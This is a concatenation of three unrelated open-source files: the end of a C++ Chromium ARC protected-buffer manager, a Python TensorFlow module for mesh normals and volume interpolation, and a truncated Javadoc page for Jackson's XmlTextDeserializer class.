bool AllocateProtectedSharedMemory(base::ScopedFD dummy_fd,
size_t size) override;
bool AllocateProtectedNativePixmap(base::ScopedFD dummy_fd,
gfx::BufferFormat format,
const gfx::Size& size) override;
void ReleaseProtectedBuffer(base::ScopedFD dummy_fd) override;
private:
const uint64_t allocator_id_;
const scoped_refptr<ProtectedBufferManager> protected_buffer_manager_;
base::OnceClosure release_all_protected_buffers_cb_;
THREAD_CHECKER(thread_checker_);
DISALLOW_COPY_AND_ASSIGN(ProtectedBufferAllocatorImpl);
};
ProtectedBufferManager::ProtectedBufferAllocatorImpl::
ProtectedBufferAllocatorImpl(
uint64_t allocator_id,
scoped_refptr<ProtectedBufferManager> protected_buffer_manager,
base::OnceClosure release_all_protected_buffers_cb)
: allocator_id_(allocator_id),
protected_buffer_manager_(std::move(protected_buffer_manager)),
release_all_protected_buffers_cb_(
std::move(release_all_protected_buffers_cb)) {}
ProtectedBufferManager::ProtectedBufferAllocatorImpl::
~ProtectedBufferAllocatorImpl() {
DCHECK_CALLED_ON_VALID_THREAD(thread_checker_);
DCHECK(release_all_protected_buffers_cb_);
std::move(release_all_protected_buffers_cb_).Run();
}
bool ProtectedBufferManager::ProtectedBufferAllocatorImpl::
AllocateProtectedSharedMemory(base::ScopedFD dummy_fd, size_t size) {
DCHECK_CALLED_ON_VALID_THREAD(thread_checker_);
return protected_buffer_manager_->AllocateProtectedSharedMemory(
allocator_id_, std::move(dummy_fd), size);
}
bool ProtectedBufferManager::ProtectedBufferAllocatorImpl::
AllocateProtectedNativePixmap(base::ScopedFD dummy_fd,
gfx::BufferFormat format,
const gfx::Size& size) {
DCHECK_CALLED_ON_VALID_THREAD(thread_checker_);
return protected_buffer_manager_->AllocateProtectedNativePixmap(
allocator_id_, std::move(dummy_fd), format, size);
}
void ProtectedBufferManager::ProtectedBufferAllocatorImpl::
ReleaseProtectedBuffer(base::ScopedFD dummy_fd) {
DCHECK_CALLED_ON_VALID_THREAD(thread_checker_);
protected_buffer_manager_->ReleaseProtectedBuffer(allocator_id_,
std::move(dummy_fd));
}
ProtectedBufferManager::ProtectedBufferManager()
: next_protected_buffer_allocator_id_(0) {
VLOGF(2);
}
ProtectedBufferManager::~ProtectedBufferManager() {
VLOGF(2);
}
bool ProtectedBufferManager::GetAllocatorId(uint64_t* const allocator_id) {
base::AutoLock lock(buffer_map_lock_);
if (allocator_to_buffers_map_.size() ==
kMaxConcurrentProtectedBufferAllocators) {
VLOGF(1) << "Failed Creating PBA due to many ProtectedBufferAllocators: "
<< kMaxConcurrentProtectedBufferAllocators;
return false;
}
*allocator_id = next_protected_buffer_allocator_id_;
allocator_to_buffers_map_.insert({*allocator_id, {}});
next_protected_buffer_allocator_id_++;
return true;
}
// static
std::unique_ptr<ProtectedBufferAllocator>
ProtectedBufferManager::CreateProtectedBufferAllocator(
scoped_refptr<ProtectedBufferManager> protected_buffer_manager) {
uint64_t allocator_id = 0;
if (!protected_buffer_manager->GetAllocatorId(&allocator_id))
return nullptr;
return std::make_unique<ProtectedBufferAllocatorImpl>(
allocator_id, protected_buffer_manager,
base::BindOnce(&ProtectedBufferManager::ReleaseAllProtectedBuffers,
protected_buffer_manager, allocator_id));
}
bool ProtectedBufferManager::AllocateProtectedSharedMemory(
uint64_t allocator_id,
base::ScopedFD dummy_fd,
size_t size) {
VLOGF(2) << "allocator_id:" << allocator_id
<< ", dummy_fd: " << dummy_fd.get() << ", size: " << size;
// Import the |dummy_fd| to produce a unique id for it.
uint32_t id;
auto pixmap = ImportDummyFd(std::move(dummy_fd), &id);
if (!pixmap)
return false;
base::AutoLock lock(buffer_map_lock_);
if (!CanAllocateFor(allocator_id, id))
return false;
// Allocate a protected buffer and associate it with the dummy pixmap.
// The pixmap needs to be stored to ensure the id remains the same for
// the entire lifetime of the dummy pixmap.
auto protected_shmem = ProtectedSharedMemory::Create(pixmap, size);
if (!protected_shmem) {
VLOGF(1) << "Failed allocating a protected shared memory buffer";
return false;
}
if (!allocator_to_buffers_map_[allocator_id].insert(id).second) {
VLOGF(1) << "Failed inserting id: " << id
<< " to allocator_to_buffers_map_, allocator_id: " << allocator_id;
return false;
}
// This will always succeed as we find() first in CanAllocateFor().
buffer_map_.emplace(id, std::move(protected_shmem));
VLOGF(2) << "New protected shared memory buffer, handle id: " << id;
return true;
}
bool ProtectedBufferManager::AllocateProtectedNativePixmap(
uint64_t allocator_id,
base::ScopedFD dummy_fd,
gfx::BufferFormat format,
const gfx::Size& size) {
VLOGF(2) << "allocator_id: " << allocator_id
<< ", dummy_fd: " << dummy_fd.get()
<< ", format: " << static_cast<int>(format)
<< ", size: " << size.ToString();
// Import the |dummy_fd| to produce a unique id for it.
uint32_t id = 0;
auto pixmap = ImportDummyFd(std::move(dummy_fd), &id);
if (!pixmap)
return false;
base::AutoLock lock(buffer_map_lock_);
if (!CanAllocateFor(allocator_id, id))
return false;
// Allocate a protected buffer and associate it with the dummy pixmap.
// The pixmap needs to be stored to ensure the id remains the same for
// the entire lifetime of the dummy pixmap.
auto protected_pixmap = ProtectedNativePixmap::Create(pixmap, format, size);
if (!protected_pixmap) {
VLOGF(1) << "Failed allocating a protected native pixmap";
return false;
}
if (!allocator_to_buffers_map_[allocator_id].insert(id).second) {
VLOGF(1) << "Failed inserting id: " << id
<< " to allocator_to_buffers_map_, allocator_id: " << allocator_id;
return false;
}
// This will always succeed as we find() first in CanAllocateFor().
buffer_map_.emplace(id, std::move(protected_pixmap));
VLOGF(2) << "New protected native pixmap, handle id: " << id;
return true;
}
void ProtectedBufferManager::ReleaseProtectedBuffer(uint64_t allocator_id,
base::ScopedFD dummy_fd) {
VLOGF(2) << "allocator_id: " << allocator_id
<< ", dummy_fd: " << dummy_fd.get();
// Import the |dummy_fd| to produce a unique id for it.
uint32_t id = 0;
auto pixmap = ImportDummyFd(std::move(dummy_fd), &id);
if (!pixmap)
return;
base::AutoLock lock(buffer_map_lock_);
RemoveEntry(id);
auto it = allocator_to_buffers_map_.find(allocator_id);
if (it == allocator_to_buffers_map_.end()) {
VLOGF(1) << "No allocated buffer by allocator id " << allocator_id;
return;
}
if (it->second.erase(id) != 1)
VLOGF(1) << "No buffer id " << id << " to destroy";
}
void ProtectedBufferManager::ReleaseAllProtectedBuffers(uint64_t allocator_id) {
base::AutoLock lock(buffer_map_lock_);
auto it = allocator_to_buffers_map_.find(allocator_id);
if (it == allocator_to_buffers_map_.end())
return;
for (const uint32_t id : it->second) {
RemoveEntry(id);
}
allocator_to_buffers_map_.erase(allocator_id);
}
base::subtle::PlatformSharedMemoryRegion
ProtectedBufferManager::GetProtectedSharedMemoryRegionFor(
base::ScopedFD dummy_fd) {
uint32_t id = 0;
auto pixmap = ImportDummyFd(std::move(dummy_fd), &id);
base::AutoLock lock(buffer_map_lock_);
const auto& iter = buffer_map_.find(id);
if (iter == buffer_map_.end())
return {};
return iter->second->DuplicatePlatformSharedMemoryRegion();
}
gfx::NativePixmapHandle
ProtectedBufferManager::GetProtectedNativePixmapHandleFor(
base::ScopedFD dummy_fd) {
uint32_t id = 0;
auto pixmap = ImportDummyFd(std::move(dummy_fd), &id);
base::AutoLock lock(buffer_map_lock_);
const auto& iter = buffer_map_.find(id);
if (iter == buffer_map_.end())
return gfx::NativePixmapHandle();
return iter->second->DuplicateNativePixmapHandle();
}
scoped_refptr<gfx::NativePixmap>
ProtectedBufferManager::GetProtectedNativePixmapFor(
const gfx::NativePixmapHandle& handle) {
// Only the first fd is used for lookup.
if (handle.planes.empty())
return nullptr;
base::ScopedFD dummy_fd(HANDLE_EINTR(dup(handle.planes[0].fd.get())));
uint32_t id = 0;
auto pixmap = ImportDummyFd(std::move(dummy_fd), &id);
base::AutoLock lock(buffer_map_lock_);
const auto& iter = buffer_map_.find(id);
if (iter == buffer_map_.end())
return nullptr;
return iter->second->GetNativePixmap();
}
scoped_refptr<gfx::NativePixmap> ProtectedBufferManager::ImportDummyFd(
base::ScopedFD dummy_fd,
uint32_t* id) const {
// 0 is an invalid handle id.
*id = 0;
// Import dummy_fd to acquire its unique id.
// CreateNativePixmapFromHandle() takes ownership and will close the handle
// also on failure.
gfx::NativePixmapHandle pixmap_handle;
pixmap_handle.planes.emplace_back(
gfx::NativePixmapPlane(0, 0, 0, std::move(dummy_fd)));
ui::OzonePlatform* platform = ui::OzonePlatform::GetInstance();
ui::SurfaceFactoryOzone* factory = platform->GetSurfaceFactoryOzone();
scoped_refptr<gfx::NativePixmap> pixmap =
factory->CreateNativePixmapForProtectedBufferHandle(
gfx::kNullAcceleratedWidget, kDummyBufferSize,
gfx::BufferFormat::RGBA_8888, std::move(pixmap_handle));
if (!pixmap) {
VLOGF(1) << "Failed importing dummy handle";
return nullptr;
}
*id = pixmap->GetUniqueId();
if (*id == 0) {
VLOGF(1) << "Failed acquiring unique id for handle";
return nullptr;
}
return pixmap;
}
void ProtectedBufferManager::RemoveEntry(uint32_t id) {
VLOGF(2) << "id: " << id;
auto num_erased = buffer_map_.erase(id);
if (num_erased != 1)
VLOGF(1) << "No buffer id " << id << " to destroy";
}
bool ProtectedBufferManager::CanAllocateFor(uint64_t allocator_id,
uint32_t id) {
if (buffer_map_.find(id) != buffer_map_.end()) {
VLOGF(1) << "A protected buffer for this handle already exists";
return false;
}
auto it = allocator_to_buffers_map_.find(allocator_id);
if (it == allocator_to_buffers_map_.end()) {
VLOGF(1) << "allocator_to_buffers_map_ has no entry, allocator_id="
<< allocator_id;
return false;
}
auto& allocated_protected_buffer_ids = it->second;
// Check if the number of allocated protected buffers for |allocator_id| is
// less than kMaxBuffersPerAllocator.
if (allocated_protected_buffer_ids.size() >= kMaxBuffersPerAllocator) {
VLOGF(1) << "Too many allocated protected buffers: "
<< kMaxBuffersPerAllocator;
return false;
}
return true;
}
} // namespace arc
| {
"pile_set_name": "Github"
} |
import numpy as np
import tensorflow as tf
import tensorflow.keras.backend as K
import itertools
def face_normals(vertices, faces):
edges1 = tf.gather(vertices, faces[:, 1]) - tf.gather(vertices, faces[:, 0])
edges2 = tf.gather(vertices, faces[:, 2]) - tf.gather(vertices, faces[:, 0])
return tf.linalg.l2_normalize(tf.cross(edges1, edges2), axis=1)
def vertex_normals(vertices, faces, vfaces):
fnorm = face_normals(vertices, faces)
max_faces = max([len(x) for x in vfaces])
nvertices = len(vfaces)
inds = np.zeros((nvertices, max_faces), dtype='int32')
mask = np.zeros((nvertices, max_faces, 3), dtype='int16')
for v, f in enumerate(vfaces):
inds[v, :len(f)] = f
mask[v, :len(f), :] = 1
vfnorm = tf.gather(fnorm, inds) * mask
avg = tf.reduce_sum(vfnorm, axis=1) / tf.cast(tf.reduce_sum(mask, axis=1), dtype=tf.float32)
return tf.linalg.l2_normalize(avg, axis=1)
def prod_n(lst):
'''From Adrian...'''
prod = lst[0]
for p in lst[1:]:
prod *= p
return prod
def sub2ind(siz, subs, **kwargs):
'''From Adrian...'''
# subs is a list
assert len(siz) == len(subs), 'found inconsistent siz and subs: %d %d' % (len(siz), len(subs))
k = np.cumprod(siz[::-1])
ndx = subs[-1]
for i, v in enumerate(subs[:-1][::-1]):
ndx = ndx + v * k[i]
return ndx
def interp(vol, loc, method='linear'):
'''From Adrian...'''
if isinstance(loc, (list, tuple)):
loc = tf.stack(loc, -1)
nb_dims = loc.shape[-1]
if not nb_dims.value:
raise Exception("Loc dimension is None")
if len(vol.shape) not in [nb_dims, nb_dims+1]:
raise Exception("Number of loc Tensors %d does not match volume dimension %d" % (int(nb_dims), len(vol.shape[:-1])))
if nb_dims > len(vol.shape):
raise Exception("Loc dimension %d does not match volume dimension %d" % (int(nb_dims), len(vol.shape)))
if vol.shape.ndims == nb_dims:
vol = K.expand_dims(vol, -1)
# flatten and float location Tensors
loc = tf.cast(loc, 'float32')
if isinstance(vol.shape, (tf.Dimension, tf.TensorShape)):
volshape = vol.shape.as_list()
else:
volshape = vol.shape
# interpolate
if method == 'linear':
loc0 = tf.floor(loc)
# clip values
max_loc = [d - 1 for d in vol.get_shape().as_list()]
clipped_loc = [tf.clip_by_value(loc[...,d], 0, max_loc[d]) for d in range(nb_dims)]
loc0lst = [tf.clip_by_value(loc0[...,d], 0, max_loc[d]) for d in range(nb_dims)]
# get other end of point cube
loc1 = [tf.clip_by_value(loc0lst[d] + 1, 0, max_loc[d]) for d in range(nb_dims)]
locs = [[tf.cast(f, 'int32') for f in loc0lst], [tf.cast(f, 'int32') for f in loc1]]
# compute the difference between the upper value and the original value
# differences are basically 1 - (pt - floor(pt))
# because: floor(pt) + 1 - pt = 1 + (floor(pt) - pt) = 1 - (pt - floor(pt))
diff_loc1 = [loc1[d] - clipped_loc[d] for d in range(nb_dims)]
diff_loc0 = [1 - d for d in diff_loc1]
weights_loc = [diff_loc1, diff_loc0] # note reverse ordering since weights are inverse of diff.
# go through all the cube corners, indexed by a ND binary vector
# e.g. [0, 0] means this "first" corner in a 2-D "cube"
cube_pts = list(itertools.product([0, 1], repeat=nb_dims))
interp_vol = 0
for c in cube_pts:
# get nd values
# note re: indices above volumes via https://github.com/tensorflow/tensorflow/issues/15091
# It works on GPU because we do not perform index validation checking on GPU -- it's too
# expensive. Instead we fill the output with zero for the corresponding value. The CPU
# version caught the bad index and returned the appropriate error.
subs = [locs[c[d]][d] for d in range(nb_dims)]
# tf stacking is slow for large volumes, so we will use sub2ind and use single indexing.
# indices = tf.stack(subs, axis=-1)
# vol_val = tf.gather_nd(vol, indices)
# faster way to gather than gather_nd, because the latter needs tf.stack which is slow :(
idx = sub2ind(vol.shape[:-1], subs)
vol_val = tf.gather(tf.reshape(vol, [-1, volshape[-1]]), idx)
# get the weight of this cube_pt based on the distance
# if c[d] is 0 --> want weight = 1 - (pt - floor[pt]) = diff_loc1
# if c[d] is 1 --> want weight = pt - floor[pt] = diff_loc0
wts_lst = [weights_loc[c[d]][d] for d in range(nb_dims)]
# tf stacking is slow, we we will use prod_n()
# wlm = tf.stack(wts_lst, axis=0)
# wt = tf.reduce_prod(wlm, axis=0)
wt = prod_n(wts_lst)
wt = K.expand_dims(wt, -1)
# compute final weighted value for each cube corner
interp_vol += wt * vol_val
else:
assert method == 'nearest'
roundloc = tf.cast(tf.round(loc), 'int32')
# clip values
max_loc = [tf.cast(d - 1, 'int32') for d in vol.shape]
roundloc = [tf.clip_by_value(roundloc[...,d], 0, max_loc[d]) for d in range(nb_dims)]
# get values
# tf stacking is slow. replace with gather
# roundloc = tf.stack(roundloc, axis=-1)
# interp_vol = tf.gather_nd(vol, roundloc)
idx = sub2ind(vol.shape[:-1], roundloc)
interp_vol = tf.gather(tf.reshape(vol, [-1, vol.shape[-1]]), idx)
return interp_vol
| {
"pile_set_name": "Github"
} |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (version 1.7.0_25) on Thu Jan 01 20:30:37 PST 2015 -->
<meta http-equiv="Content-Type" content="text/html" charset="UTF-8">
<title>XmlTextDeserializer (Jackson-dataformat-XML 2.5.0 API)</title>
<meta name="date" content="2015-01-01">
<link rel="stylesheet" type="text/css" href="../../../../../../stylesheet.css" title="Style">
</head>
<body>
<script type="text/javascript"><!--
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="XmlTextDeserializer (Jackson-dataformat-XML 2.5.0 API)";
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar_top">
<!-- -->
</a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="class-use/XmlTextDeserializer.html">Use</a></li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../../com/fasterxml/jackson/dataformat/xml/deser/XmlReadContext.html" title="class in com.fasterxml.jackson.dataformat.xml.deser"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../../../../com/fasterxml/jackson/dataformat/xml/deser/XmlTokenStream.html" title="class in com.fasterxml.jackson.dataformat.xml.deser"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../../index.html?com/fasterxml/jackson/dataformat/xml/deser/XmlTextDeserializer.html" target="_top">Frames</a></li>
<li><a href="XmlTextDeserializer.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li><a href="#nested_classes_inherited_from_class_com.fasterxml.jackson.databind.JsonDeserializer">Nested</a> | </li>
<li><a href="#field_summary">Field</a> | </li>
<li><a href="#constructor_summary">Constr</a> | </li>
<li><a href="#method_summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li><a href="#field_detail">Field</a> | </li>
<li><a href="#constructor_detail">Constr</a> | </li>
<li><a href="#method_detail">Method</a></li>
</ul>
</div>
<a name="skip-navbar_top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<!-- ======== START OF CLASS DATA ======== -->
<div class="header">
<div class="subTitle">com.fasterxml.jackson.dataformat.xml.deser</div>
<h2 title="Class XmlTextDeserializer" class="title">Class XmlTextDeserializer</h2>
</div>
<div class="contentContainer">
<ul class="inheritance">
<li><a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">java.lang.Object</a></li>
<li>
<ul class="inheritance">
<li>com.fasterxml.jackson.databind.JsonDeserializer<T></li>
<li>
<ul class="inheritance">
<li>com.fasterxml.jackson.databind.deser.std.StdDeserializer<<a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">Object</a>></li>
<li>
<ul class="inheritance">
<li>com.fasterxml.jackson.databind.deser.std.DelegatingDeserializer</li>
<li>
<ul class="inheritance">
<li>com.fasterxml.jackson.dataformat.xml.deser.XmlTextDeserializer</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<div class="description">
<ul class="blockList">
<li class="blockList">
<dl>
<dt>All Implemented Interfaces:</dt>
<dd>com.fasterxml.jackson.databind.deser.ContextualDeserializer, com.fasterxml.jackson.databind.deser.ResolvableDeserializer, <a href="http://download.oracle.com/javase/6/docs/api/java/io/Serializable.html?is-external=true" title="class or interface in java.io">Serializable</a></dd>
</dl>
<hr>
<br>
<pre>public class <span class="strong">XmlTextDeserializer</span>
extends com.fasterxml.jackson.databind.deser.std.DelegatingDeserializer</pre>
<div class="block">Delegating deserializer that is used in the special cases where
we may sometimes see a "plain" String value but need to map it
as if it was a property of POJO. The impedance is introduced by
heuristic conversion from XML events into rough JSON equivalents;
and this is one work-around that can only be done after the fact.</div>
<dl><dt><span class="strong">See Also:</span></dt><dd><a href="../../../../../../serialized-form.html#com.fasterxml.jackson.dataformat.xml.deser.XmlTextDeserializer">Serialized Form</a></dd></dl>
</li>
</ul>
</div>
<div class="summary">
<ul class="blockList">
<li class="blockList">
<!-- ======== NESTED CLASS SUMMARY ======== -->
<ul class="blockList">
<li class="blockList"><a name="nested_class_summary">
<!-- -->
</a>
<h3>Nested Class Summary</h3>
<ul class="blockList">
<li class="blockList"><a name="nested_classes_inherited_from_class_com.fasterxml.jackson.databind.JsonDeserializer">
<!-- -->
</a>
<h3>Nested classes/interfaces inherited from class com.fasterxml.jackson.databind.JsonDeserializer</h3>
<code>com.fasterxml.jackson.databind.JsonDeserializer.None</code></li>
</ul>
</li>
</ul>
<!-- =========== FIELD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="field_summary">
<!-- -->
</a>
<h3>Field Summary</h3>
<table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Field Summary table, listing fields, and an explanation">
<caption><span>Fields</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Field and Description</th>
</tr>
<tr class="altColor">
<td class="colFirst"><code>protected com.fasterxml.jackson.databind.deser.ValueInstantiator</code></td>
<td class="colLast"><code><strong><a href="../../../../../../com/fasterxml/jackson/dataformat/xml/deser/XmlTextDeserializer.html#_valueInstantiator">_valueInstantiator</a></strong></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>protected com.fasterxml.jackson.databind.deser.SettableBeanProperty</code></td>
<td class="colLast"><code><strong><a href="../../../../../../com/fasterxml/jackson/dataformat/xml/deser/XmlTextDeserializer.html#_xmlTextProperty">_xmlTextProperty</a></strong></code>
<div class="block">Actual property that is indicated to be of type "XML Text" (and
is the only element-valued property)</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>protected int</code></td>
<td class="colLast"><code><strong><a href="../../../../../../com/fasterxml/jackson/dataformat/xml/deser/XmlTextDeserializer.html#_xmlTextPropertyIndex">_xmlTextPropertyIndex</a></strong></code>
<div class="block">Property index of the "XML text property"; needed for finding actual
property instance after resolution and contextualization: instance
may change, but index will remain constant.</div>
</td>
</tr>
</table>
<ul class="blockList">
<li class="blockList"><a name="fields_inherited_from_class_com.fasterxml.jackson.databind.deser.std.DelegatingDeserializer">
<!-- -->
</a>
<h3>Fields inherited from class com.fasterxml.jackson.databind.deser.std.DelegatingDeserializer</h3>
<code>_delegatee</code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="fields_inherited_from_class_com.fasterxml.jackson.databind.deser.std.StdDeserializer">
<!-- -->
</a>
<h3>Fields inherited from class com.fasterxml.jackson.databind.deser.std.StdDeserializer</h3>
<code>_valueClass</code></li>
</ul>
</li>
</ul>
<!-- ======== CONSTRUCTOR SUMMARY ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor_summary">
<!-- -->
</a>
<h3>Constructor Summary</h3>
<table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Constructor Summary table, listing constructors, and an explanation">
<caption><span>Constructors</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colOne" scope="col">Constructor and Description</th>
</tr>
<tr class="altColor">
<td class="colOne"><code><strong><a href="../../../../../../com/fasterxml/jackson/dataformat/xml/deser/XmlTextDeserializer.html#XmlTextDeserializer(com.fasterxml.jackson.databind.deser.BeanDeserializerBase, int)">XmlTextDeserializer</a></strong>(com.fasterxml.jackson.databind.deser.BeanDeserializerBase delegate,
int textPropIndex)</code> </td>
</tr>
<tr class="rowColor">
<td class="colOne"><code><strong><a href="../../../../../../com/fasterxml/jackson/dataformat/xml/deser/XmlTextDeserializer.html#XmlTextDeserializer(com.fasterxml.jackson.databind.deser.BeanDeserializerBase, com.fasterxml.jackson.databind.deser.SettableBeanProperty)">XmlTextDeserializer</a></strong>(com.fasterxml.jackson.databind.deser.BeanDeserializerBase delegate,
com.fasterxml.jackson.databind.deser.SettableBeanProperty prop)</code> </td>
</tr>
</table>
</li>
</ul>
<!-- ========== METHOD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="method_summary">
<!-- -->
</a>
<h3>Method Summary</h3>
<table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation">
<caption><span>Methods</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Method and Description</th>
</tr>
<tr class="altColor">
<td class="colFirst"><code>protected com.fasterxml.jackson.databind.deser.BeanDeserializerBase</code></td>
<td class="colLast"><code><strong><a href="../../../../../../com/fasterxml/jackson/dataformat/xml/deser/XmlTextDeserializer.html#_verifyDeserType(com.fasterxml.jackson.databind.JsonDeserializer)">_verifyDeserType</a></strong>(com.fasterxml.jackson.databind.JsonDeserializer<?> deser)</code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>com.fasterxml.jackson.databind.JsonDeserializer<?></code></td>
<td class="colLast"><code><strong><a href="../../../../../../com/fasterxml/jackson/dataformat/xml/deser/XmlTextDeserializer.html#createContextual(com.fasterxml.jackson.databind.DeserializationContext, com.fasterxml.jackson.databind.BeanProperty)">createContextual</a></strong>(com.fasterxml.jackson.databind.DeserializationContext ctxt,
com.fasterxml.jackson.databind.BeanProperty property)</code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code><a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">Object</a></code></td>
<td class="colLast"><code><strong><a href="../../../../../../com/fasterxml/jackson/dataformat/xml/deser/XmlTextDeserializer.html#deserialize(com.fasterxml.jackson.core.JsonParser, com.fasterxml.jackson.databind.DeserializationContext)">deserialize</a></strong>(com.fasterxml.jackson.core.JsonParser jp,
com.fasterxml.jackson.databind.DeserializationContext ctxt)</code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code><a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">Object</a></code></td>
<td class="colLast"><code><strong><a href="../../../../../../com/fasterxml/jackson/dataformat/xml/deser/XmlTextDeserializer.html#deserialize(com.fasterxml.jackson.core.JsonParser, com.fasterxml.jackson.databind.DeserializationContext, java.lang.Object)">deserialize</a></strong>(com.fasterxml.jackson.core.JsonParser jp,
com.fasterxml.jackson.databind.DeserializationContext ctxt,
<a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">Object</a> bean)</code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code><a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">Object</a></code></td>
<td class="colLast"><code><strong><a href="../../../../../../com/fasterxml/jackson/dataformat/xml/deser/XmlTextDeserializer.html#deserializeWithType(com.fasterxml.jackson.core.JsonParser, com.fasterxml.jackson.databind.DeserializationContext, com.fasterxml.jackson.databind.jsontype.TypeDeserializer)">deserializeWithType</a></strong>(com.fasterxml.jackson.core.JsonParser jp,
com.fasterxml.jackson.databind.DeserializationContext ctxt,
com.fasterxml.jackson.databind.jsontype.TypeDeserializer typeDeserializer)</code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>protected com.fasterxml.jackson.databind.JsonDeserializer<?></code></td>
<td class="colLast"><code><strong><a href="../../../../../../com/fasterxml/jackson/dataformat/xml/deser/XmlTextDeserializer.html#newDelegatingInstance(com.fasterxml.jackson.databind.JsonDeserializer)">newDelegatingInstance</a></strong>(com.fasterxml.jackson.databind.JsonDeserializer<?> newDelegatee0)</code> </td>
</tr>
</table>
<ul class="blockList">
<li class="blockList"><a name="methods_inherited_from_class_com.fasterxml.jackson.databind.deser.std.DelegatingDeserializer">
<!-- -->
</a>
<h3>Methods inherited from class com.fasterxml.jackson.databind.deser.std.DelegatingDeserializer</h3>
<code>_createContextual, findBackReference, getDelegatee, getEmptyValue, getKnownPropertyNames, getNullValue, getObjectIdReader, isCachable, replaceDelegatee, resolve</code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="methods_inherited_from_class_com.fasterxml.jackson.databind.deser.std.StdDeserializer">
<!-- -->
</a>
<h3>Methods inherited from class com.fasterxml.jackson.databind.deser.std.StdDeserializer</h3>
<code>_deserializeFromEmpty, _hasTextualNull, _isNaN, _isNegInf, _isPosInf, _parseBoolean, _parseBooleanFromNumber, _parseBooleanPrimitive, _parseByte, _parseDate, _parseDouble, _parseDoublePrimitive, _parseFloat, _parseFloatPrimitive, _parseInteger, _parseIntPrimitive, _parseLong, _parseLongPrimitive, _parseShort, _parseShortPrimitive, _parseString, findConvertingContentDeserializer, findDeserializer, getValueClass, getValueType, handledType, handleUnknownProperty, isDefaultDeserializer, isDefaultKeyDeserializer, parseDouble</code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="methods_inherited_from_class_com.fasterxml.jackson.databind.JsonDeserializer">
<!-- -->
</a>
<h3>Methods inherited from class com.fasterxml.jackson.databind.JsonDeserializer</h3>
<code>unwrappingDeserializer</code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="methods_inherited_from_class_java.lang.Object">
<!-- -->
</a>
<h3>Methods inherited from class java.lang.<a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">Object</a></h3>
<code><a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true#clone()" title="class or interface in java.lang">clone</a>, <a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true#equals(java.lang.Object)" title="class or interface in java.lang">equals</a>, <a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true#finalize()" title="class or interface in java.lang">finalize</a>, <a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true#getClass()" title="class or interface in java.lang">getClass</a>, <a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true#hashCode()" title="class or interface in java.lang">hashCode</a>, <a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true#notify()" title="class or interface in java.lang">notify</a>, <a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true#notifyAll()" title="class or interface in java.lang">notifyAll</a>, <a 